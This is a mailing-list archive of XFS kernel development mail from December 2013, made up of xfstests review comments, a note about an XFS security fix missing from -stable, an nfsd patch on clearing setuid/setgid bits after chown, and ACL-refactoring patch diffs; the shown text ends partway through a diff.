([198.137.202.9]) by cuda.sgi.com with ESMTP id AViQDJEKglHssYYM (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:47:53 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeWO-0007d0-FM; Wed, 11 Dec 2013 07:47:52 +0000 Date: Tue, 10 Dec 2013 23:47:52 -0800 From: Christoph Hellwig To: Junho Ryu Cc: xfs@oss.sgi.com, tytso@mit.edu, hughd@google.com, branto@redhat.com Subject: Re: [PATCH 08/10] xfstests: check O_DIRECT support before testing direct I/O Message-ID: <20131211074752.GH19248@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 08/10] xfstests: check O_DIRECT support before testing direct I/O References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-9-git-send-email-jayr@google.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386706321-15795-9-git-send-email-jayr@google.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386748072 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Dec 10, 2013 at 12:11:59PM -0800, Junho Ryu wrote: > Some filesystems do not support O_DIRECT. Check whether TEST_DIR supports it > by running xfs_io with and without -d flag. should be _require_odirect as we don't really care about xfs_io features but kernel/filesystem features. From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:48:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B0FAE8000 for ; Wed, 11 Dec 2013 01:48:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 43A3BAC003 for ; Tue, 10 Dec 2013 23:48:34 -0800 (PST) X-ASG-Debug-ID: 1386748097-04cbb041696a0830001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id Lc92xrfRfVsYLNsS (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:48:17 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeWm-0007dp-T4; Wed, 11 Dec 2013 07:48:16 +0000 Date: Tue, 10 Dec 2013 23:48:16 -0800 From: Christoph Hellwig To: Junho Ryu Cc: xfs@oss.sgi.com, tytso@mit.edu, hughd@google.com, branto@redhat.com Subject: Re: [PATCH 09/10] xfstests: add executable permission to tests Message-ID: <20131211074816.GI19248@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 09/10] xfstests: add executable permission to tests References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-10-git-send-email-jayr@google.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386706321-15795-10-git-send-email-jayr@google.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386748097 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143008 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Dec 10, 2013 at 12:12:00PM -0800, Junho Ryu wrote: > From: Hugh Dickins > > add executable permission to generic/311, generic/314 and generic/315. > Just like other tests in the same directory. > > Signed-off-by: Hugh Dickins > Signed-off-by: Junho Ryu Looks good, but somehow the permissions seem to always get messed up in xfstests anyway.. From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 01:51:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1ACE68006 for ; Wed, 11 Dec 2013 01:51:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 02A63304043 for ; Tue, 10 Dec 2013 23:51:28 -0800 (PST) X-ASG-Debug-ID: 1386748285-04cb6c537c6979d0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id yFEJP0mkEU4Ut3YH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:51:26 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeZp-0000Fw-3L; Wed, 11 Dec 2013 07:51:25 +0000 Date: Tue, 10 Dec 2013 23:51:25 -0800 From: Christoph Hellwig To: Junho Ryu Cc: xfs@oss.sgi.com, tytso@mit.edu, hughd@google.com, branto@redhat.com Subject: Re: [PATCH 10/10] xfstests: skip parts of tests which cannot work on tmpfs Message-ID: <20131211075125.GJ19248@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 10/10] xfstests: skip parts of tests which cannot work on tmpfs References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-11-git-send-email-jayr@google.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386706321-15795-11-git-send-email-jayr@google.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386748285 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143008 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Dec 10, 2013 at 12:12:01PM -0800, Junho Ryu wrote: > Skip generic/076 which tests concurrent access while testing tmpfs > because there are other tests cover the case using fsstress. Should check if SCRATCH_DEV is a block device. > Skip generic/277 which requires chattr. Add a feature test to see if the filesystem supports chattr. Might be worth to have a common _require_chattr helper chared with generic/079 > > Even if generic/053 will not be able to test exactly what the test has > been intended to test, it will be still useful to have this test to try > out some functionality on tmpfs rather than always failing or being > skipped. I'd rather add a simple ACL tests that covers this without the unmount an repair and maybe more. From dan.carpenter@oracle.com Wed Dec 11 02:28:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 615D5800B for ; Wed, 11 Dec 2013 02:28:19 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4E658304051 for ; Wed, 11 Dec 2013 00:28:16 -0800 (PST) X-ASG-Debug-ID: 1386750494-04cb6c537d6988c0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id v6qHhkdQA3IZHfba (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 00:28:15 -0800 (PST) X-Barracuda-Envelope-From: dan.carpenter@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBB8S3j5011138 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Dec 2013 08:28:04 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBB8S1Nt028204 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Dec 2013 08:28:02 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBB8S1TN028043; Wed, 11 Dec 2013 08:28:01 GMT Received: from mwanda (/41.202.233.183) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 00:28:00 -0800 Date: Wed, 11 Dec 2013 11:27:40 +0300 From: Dan Carpenter To: Dave Chinner Cc: Kees Cook , Josh Boyer , Luis Henriques , Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , Greg KH , xfs@oss.sgi.com, "stable@vger.kernel.org" Subject: Re: XFS security fix never sent to -stable? Message-ID: <20131211082740.GP5443@mwanda> X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? References: <20131209121534.GE4278@hercules> <20131209235523.GW31386@dastard> <20131211010326.GF10988@dastard> <20131211020007.GH10988@dastard> <20131211041758.GI10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211041758.GI10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386750495 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143008 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines I wasn't really expecting it to get a CVE since it requires CAP_SYS_ADMIN but I should have added the CC to stable. Sorry about that. regards, dan carpenter From stanislav.kholmanskikh@oracle.com Wed Dec 11 04:17:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3586D8006 for ; Wed, 11 Dec 2013 04:17:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A821CAC003 for ; Wed, 11 Dec 2013 02:17:19 -0800 (PST) X-ASG-Debug-ID: 1386757037-04cbb041696a5270001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id Qo0Fd1GG5atzLJ0Q (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:17:18 -0800 (PST) X-Barracuda-Envelope-From: stanislav.kholmanskikh@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBBAGiSc030693 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Dec 2013 10:16:46 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBAGhJs021193 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Dec 2013 10:16:43 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBAGgvW005177; Wed, 11 Dec 2013 10:16:42 GMT Received: from kholmanskikh.ru.oracle.com (/10.162.81.220) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 02:16:42 -0800 From: Stanislav Kholmanskikh To: linux-nfs@vger.kernel.org Cc: vasily.isaenko@oracle.com, hch@infradead.org, xfs@oss.sgi.com, sprabhu@redhat.com, bfields@fieldses.org Subject: [PATCH] nfsd: revoking of suid/sgid bits after chown() in a consistent way Date: Wed, 11 Dec 2013 14:16:36 +0400 X-ASG-Orig-Subj: [PATCH] nfsd: revoking of suid/sgid bits after chown() in a consistent way Message-Id: <1386756996-28083-1-git-send-email-stanislav.kholmanskikh@oracle.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <20131206204747.GB12613@fieldses.org> References: <20131206204747.GB12613@fieldses.org> X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386757038 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines There is an inconsistency in the handling of SUID/SGID file bits after chown() between NFS and other local file systems. Local file systems (for example, ext3, ext4, xfs, btrfs) revoke SUID/SGID bits after chown() on a regular file even if the owner/group of the file has not been changed: ~# touch file; chmod ug+s file; chmod u+x file ~# ls -l file -rwsr-Sr-- 1 root root 0 Dec 6 04:49 file ~# chown root file; ls -l file -rwxr-Sr-- 1 root root 0 Dec 6 04:49 file but NFS doesn't do that: ~# touch file; chmod ug+s file; chmod u+x file ~# ls -l file -rwsr-Sr-- 1 root root 0 Dec 6 04:49 file ~# chown root file; ls -l file -rwsr-Sr-- 1 root root 0 Dec 6 04:49 file NFS does that only if the owner/group has been changed: ~# touch file; chmod ug+s file; chmod u+x file ~# ls -l file -rwsr-Sr-- 1 root root 0 Dec 6 05:02 file ~# chown bin file; ls -l file -rwxr-Sr-- 1 bin root 0 Dec 6 05:02 file See: http://pubs.opengroup.org/onlinepubs/9699919799/functions/chown.html "If the specified file is a regular file, one or more of the S_IXUSR, S_IXGRP, or S_IXOTH bits of the file mode are set, and the process has appropriate privileges, it is implementation-defined whether the set-user-ID and set-group-ID bits are altered." So both variants are acceptable by POSIX. This patch makes NFS to behave like local file systems. Signed-off-by: Stanislav Kholmanskikh --- fs/nfsd/vfs.c | 3 +-- 1 files changed, 1 insertions(+), 2 deletions(-) diff --git a/fs/nfsd/vfs.c b/fs/nfsd/vfs.c index 72cb28e..8226991 100644 --- a/fs/nfsd/vfs.c +++ b/fs/nfsd/vfs.c @@ -348,8 +348,7 @@ nfsd_sanitize_attrs(struct inode *inode, struct iattr *iap) /* Revoke setuid/setgid on chown */ if (!S_ISDIR(inode->i_mode) && - (((iap->ia_valid & ATTR_UID) && !uid_eq(iap->ia_uid, inode->i_uid)) || - ((iap->ia_valid & ATTR_GID) && !gid_eq(iap->ia_gid, inode->i_gid)))) { + ((iap->ia_valid & ATTR_UID) || (iap->ia_valid & ATTR_GID))) { iap->ia_valid |= ATTR_KILL_PRIV; if (iap->ia_valid & ATTR_MODE) { /* we're setting mode too, just clear the s*id bits */ -- 1.7.1 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AA87A8012 for ; Wed, 11 Dec 2013 04:45:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 78FB230406A for ; Wed, 11 Dec 2013 02:45:39 -0800 (PST) X-ASG-Debug-ID: 1386758738-04bdf013211aab00001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id JGiIawBAjzDPNqeL (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:38 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIE-0008IF-Oz; Wed, 11 Dec 2013 10:45:26 +0000 Message-Id: <20131211104526.648135334@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:45 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 02/18] fs: add get_acl helper References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 02/18] fs: add get_acl helper Content-Disposition: inline; filename=0002-fs-add-get_acl-helper.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386758738 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Factor out the code to get an ACL either from the inode or disk from check_acl, so that it can be used elsewhere later on. Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- fs/namei.c | 24 +++--------------------- fs/posix_acl.c | 26 ++++++++++++++++++++++++++ include/linux/posix_acl.h | 2 ++ 3 files changed, 31 insertions(+), 21 deletions(-) diff --git a/fs/namei.c b/fs/namei.c index c53d3a9..8acd1e8 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -235,27 +235,9 @@ static int check_acl(struct inode *inode, int mask) return posix_acl_permission(inode, acl, mask & ~MAY_NOT_BLOCK); } - acl = get_cached_acl(inode, ACL_TYPE_ACCESS); - - /* - * A filesystem can force a ACL callback by just never filling the - * ACL cache. But normally you'd fill the cache either at inode - * instantiation time, or on the first ->get_acl call. - * - * If the filesystem doesn't have a get_acl() function at all, we'll - * just create the negative cache entry. - */ - if (acl == ACL_NOT_CACHED) { - if (inode->i_op->get_acl) { - acl = inode->i_op->get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } else { - set_cached_acl(inode, ACL_TYPE_ACCESS, NULL); - return -EAGAIN; - } - } - + acl = get_acl(inode, ACL_TYPE_ACCESS); + if (IS_ERR(acl)) + return PTR_ERR(acl); if (acl) { int error = posix_acl_permission(inode, acl, mask); posix_acl_release(acl); diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 8bd2135..f2c48f8 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -418,3 +418,29 @@ posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) return err; } EXPORT_SYMBOL(posix_acl_chmod); + +struct posix_acl *get_acl(struct inode *inode, int type) +{ + struct posix_acl *acl; + + acl = get_cached_acl(inode, type); + if (acl != ACL_NOT_CACHED) + return acl; + + if (!IS_POSIXACL(inode)) + return NULL; + + /* + * A filesystem can force a ACL callback by just never filling the + * ACL cache. But normally you'd fill the cache either at inode + * instantiation time, or on the first ->get_acl call. + * + * If the filesystem doesn't have a get_acl() function at all, we'll + * just create the negative cache entry. + */ + if (!inode->i_op->get_acl) { + set_cached_acl(inode, type, NULL); + return ERR_PTR(-EAGAIN); + } + return inode->i_op->get_acl(inode, type); +} diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index 7931efe..a8d9918 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -175,4 +175,6 @@ static inline void cache_no_acl(struct inode *inode) #endif } +struct posix_acl *get_acl(struct inode *inode, int type); + #endif /* __LINUX_POSIX_ACL_H */ -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E2C3C8016 for ; Wed, 11 Dec 2013 04:45:39 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CFB6830406A for ; Wed, 11 Dec 2013 02:45:39 -0800 (PST) X-ASG-Debug-ID: 1386758738-04cbb041676a5b60001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id AvT8jbBQi1VSqe6X (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:38 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIF-0008KR-IO; Wed, 11 Dec 2013 10:45:27 +0000 Message-Id: <20131211104527.415199897@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:49 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 06/18] fs: make posix_acl_create more useful References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 06/18] fs: make posix_acl_create more useful Content-Disposition: inline; filename=0006-fs-make-posix_acl_create-more-useful.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386758738 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Rename the current posix_acl_created to __posix_acl_create and add a fully featured helper to set up the ACLs on file creation that uses get_acl(). Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- fs/9p/acl.c | 2 +- fs/btrfs/acl.c | 2 +- fs/ext2/acl.c | 2 +- fs/ext3/acl.c | 2 +- fs/ext4/acl.c | 2 +- fs/f2fs/acl.c | 2 +- fs/generic_acl.c | 2 +- fs/gfs2/acl.c | 2 +- fs/hfsplus/posix_acl.c | 2 +- fs/jffs2/acl.c | 2 +- fs/jfs/acl.c | 2 +- fs/nfs/nfs3acl.c | 2 +- fs/ocfs2/acl.c | 2 +- fs/posix_acl.c | 57 +++++++++++++++++++++++++++++++++++++++++---- fs/reiserfs/xattr_acl.c | 2 +- fs/xfs/xfs_acl.c | 4 ++-- include/linux/posix_acl.h | 8 ++++--- 17 files changed, 74 insertions(+), 23 deletions(-) diff --git a/fs/9p/acl.c b/fs/9p/acl.c index f5ce5c5..8482f2d 100644 --- a/fs/9p/acl.c +++ b/fs/9p/acl.c @@ -200,7 +200,7 @@ int v9fs_acl_mode(struct inode *dir, umode_t *modep, if (acl) { if (S_ISDIR(mode)) *dpacl = posix_acl_dup(acl); - retval = posix_acl_create(&acl, GFP_NOFS, &mode); + retval = __posix_acl_create(&acl, GFP_NOFS, &mode); if (retval < 0) return retval; if (retval > 0) diff --git a/fs/btrfs/acl.c b/fs/btrfs/acl.c index 1af04ff..b56519d 100644 --- a/fs/btrfs/acl.c +++ b/fs/btrfs/acl.c @@ -222,7 +222,7 @@ int btrfs_init_acl(struct btrfs_trans_handle *trans, if (ret) goto failed; } - ret = posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); + ret = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); if (ret < 0) return ret; diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c index 7006ced..6e842a7 100644 --- 